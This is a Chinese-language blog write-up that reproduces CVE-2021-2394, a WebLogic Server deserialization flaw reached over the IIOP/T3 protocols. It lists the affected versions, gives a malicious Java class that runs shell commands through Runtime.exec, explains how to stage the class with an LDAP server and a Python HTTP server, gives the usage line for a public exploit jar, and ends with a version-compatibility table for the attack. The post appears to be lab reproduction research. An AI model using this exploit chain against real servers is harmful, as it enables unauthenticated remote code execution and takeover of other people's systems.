漏洞条件
- Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
- 启用了IIOP、T3协议
- JDK版本符合JNDI注入条件
漏洞原理
攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。
具体分析:
cve-2021-2394 weblogic反序列化漏洞分析
【漏洞分析】Weblogic反序列化漏洞分析(CVE-2021-2394)
漏洞利用
使用ysomap开启一个LDAP服务:
然后使用python开启一个http服务,里面放上已经编译为字节码的恶意类class文件:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exp {
public Exp() throws Exception {
//Process p = Runtime.getRuntime().exec(newString[]{"cmd","/c","calc.exe"});
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","touch testabc"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
}
使用大大大佬的 EXP:lz2y/CVE-2021-2394
使用方法为:
java -jar CVE_2021_2394.jar rhost rport ldapurl
然后到容器中查看成功执行了命令:
这里踩了个坑:由于我现在用的机器是m1的mac,启动weblogic的docker容器会有问题,因此我就放到了vps上启动容器,然后在本地使用上面的EXP打,也就是打远程的机器,这样子会发生报错:
javax.naming.NamingException: Couldn't resolve initial reference: NameService; no valid urls found in [EndPointSelector{ iiop://123.58.236.76:32133/NameService}]
,后来尝试用vulfocus上面的在线靶机也是同样的问题,由于我也不懂iiop协议的原理,以及能不能打远程主机,所以这里我卡了我。后来将攻击的jar包也放到了vps上直接打本地服务就成功了,或许有大佬扫到我这篇垃圾可以解答一下。
后面看到了Iz2y 的EXP中有这篇说明:手把手教你解决Weblogic CVE-2020-2551 POC网络问题,应该就是这个问题了,这里我的理解是docker里面返回的地址是一个内网地址(172开头),我们攻击的机器只能访问外网的地址,因此导致发送不了攻击数据;但是本地就不一样了,本地是能够直接访问docker的网络的,所以本地就不会有问题,而在真实环境中也应该没有这种问题。
weblogic 版本问题
使用不同 weblogic 版本的 jar 包对不同版本的 weblogic 进行测试,经过测试研究发现以下情况:
jar 版本 | weblogic 版本 | 成功情况 |
---|---|---|
12.1.3.0.0 | 12.1.3.0.0 | 成功 |
12.1.3.0.0 | 12.2.1.3.0 | 失败 |
12.1.3.0.0 | 12.2.1.4.0 | 失败 |
12.1.3.0.0 | 14.1.1.0.0 | 失败 |
12.2.1.3.0 | 12.1.3.0.0 | 失败 |
12.2.1.3.0 | 12.2.1.3.0 | 成功 |
12.2.1.3.0 | 12.2.1.4.0 | 成功 |
12.2.1.3.0 | 14.1.1.0.0 | 成功 |
12.2.1.4.0 | 12.1.3.0.0 | 失败 |
12.2.1.4.0 | 12.2.1.3.0 | 成功 |
12.2.1.4.0 | 12.2.1.4.0 | 成功 |
12.2.1.4.0 | 14.1.1.0.0 | 成功 |
14.1.1.0.0 | 12.1.3.0.0 | 失败 |
14.1.1.0.0 | 12.2.1.3.0 | 成功 |
14.1.1.0.0 | 12.2.1.4.0 | 成功 |
14.1.1.0.0 | 14.1.1.0.0 | 成功 |